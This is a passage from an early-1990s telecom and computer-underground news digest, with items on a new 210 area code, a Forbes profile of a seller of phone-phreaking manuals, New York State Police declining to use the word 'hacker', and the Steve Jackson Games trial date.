- down to the range of other 900 MHz models, Cincinnati Microwave has
- developed special microchips that keep the handset and base in sync.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- 8. NEW AREA CODE -- As of November 1, 1992, a new 210 area code is serving 152
- communities in the San Antonio and Rio Grande Valley areas.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- 9. FOR SALE: PHONE-PHREAKING TOOLS (Brigid McMenamin, Forbes, 8/3/92, Page 64)
- -- From his remote outpost in Alamogordo, New Mexico, John Williams makes a
- nice living telling hackers how to rip off phone and computer systems.
-
- Williams says he brings in about $200,000 a year publishing books on
- everything from credit card scams and cracking automated teller machines to
- electronic shoplifting, cellular phone phreaking and voice mailbox hacking,
- each costing $29 to $39, and each complete with precise instructions. He
- even sells Robofones, which save hackers from doing a lot of dialing while
- they steal access codes.
-
- Isn't what he does illegal? Perhaps it should be, but it isn't. Wrapping
- himself in the First Amendment, Williams is a member in good standing of
- the Alamogordo Chamber of Commerce and the New Mexico Better Business
- Bureau. He thumbs his nose at companies and authorities that would like to
- make him stop selling such secrets. "We don't promote fraud," he insists.
- "It's all sold for educational purposes only. If we didn't publish the
- information, it would still be out there."
-
- But last year Williams got a visit form the Secret Service, which was
- following up on a telephone fraud case in which one of his publications
- figured prominently.
-
- In Gainsville, Florida, in November 1990, two young men were locked up by
- police for hacking into voice-mail systems and then making calls to 900
- numbers. One of the pair, known as the Shark, then 20, confessed to the
- crime, but said he was on assignment for Williams' Consumertronics
- publication. The culprits could have been given five years on the fraud
- charge alone. But the victim didn't want any publicity, so the state let
- them do 50 hours of community service instead.
-
- The Secret Service went to talk to Williams. Williams assured agent James
- Pollard that he'd never told the Shark to do anything illegal.
- Nevertheless, says Williams, the agent implied that Williams and members of
- his family who work for him might be prosecuted for publishing voice-mail
- access codes.
-
- In the end, no charges were filed against Williams, who admits he has a
- thing against big business, especially the phone companies. "For decades,
- they financed right-wing regimes in Latin America," he rants.
-
- It's a crazy world, that of the telephone toll fraudsters.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- 10. NEW YORK STATE POLICE DECRIMINALIZE THE WORD "HACKER" (Barbara E. McMullen
- & John F. McMullen, Newsbytes, 10/21/92) -- ALBANY, NEW YORK -- Senior
- investigator Ron Stevens of the New York State Police Computer Unit has
- told Newsbytes that it will be the practice of his unit to avoid the use of
- the term "hacker" in describing those alleged to have committed computer
- crimes.
-
- Stevens told Newsbytes, "We use the term computer criminal to describe
- those who break the law using computers. While the lay person may have
- come to understand the meaning of hacker as a computer criminal, the term
- isn't accurate. The people in the early days of the computer industry
- considered themselves hackers and they made the computer what it is today.
- There are those today who consider themselves hackers and do not commit
- illegal acts."
-
- Stevens had made similar comments in a recent conversation with Albany BBS
- operator Marty Winter. Winter told Newsbytes, "'Hacker' is, unfortunately
- an example of the media taking what used to be an honorable term, and using
- it to describe an activity because they (the media) are too lazy or stupid
- to come up with something else. Who knows, maybe one day 'computer
- delinquent' WILL be used, but I sure ain't gonna hold my breath."
-
- Stevens, together with investigator Dick Lynch and senior investigator
- Donald Delaney, attended the March 1992 Computers, Freedom and Privacy
- Conference (CFP-2) in Washington, DC and met such industry figures as Glenn
- Tenney, congressional candidate and chairman of the WELL's annual "Hacker
- Conference"; Craig Neidorf, founding editor and publisher of Phrack; Steven
- Levy, author of "Hackers" and the recently published "Artificial Life";
- Bruce Sterling, author of the recently published "The Hacker Crackdown";
- Emmanuel Goldstein, editor and publisher of 2600: The Hacker Quarterly" and
- a number of well-known "hackers."
-
- Stevens said, "When I came home, I read as much of the literature about the
- subject that I could and came to the conclusion that a hacker is not
- necessarily a computer criminal."
-
- The use of the term "hacker" to describe those alleged to have committed
- computer crimes has long been an irritant to many in the online community.
- When the July 8th federal indictment of 5 New York City individuals
- contained the definition of computer hacker as "someone who uses a computer
- or a telephone to obtain unauthorized access to other computers," there was
- an outcry on such electronic conferencing system as the WELL (Whole Earth
- 'Lectronic Link). Many of the same people reacted quite favorably to the
- Stevens statement when it was posted on the WELL.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- 11. STEVE JACKSON GAMES TRIAL DATE SET -- Mike Godwin, General Counsel for the
- Electronic Frontier Foundation, announced on December 23rd that the case
- of Steve Jackson Games, et.al. v. The United States Secret Service et. al.
- will go to trial in Austin, Texas on Tuesday, January 19, 1993.
- _______________________________________________________________________________
-
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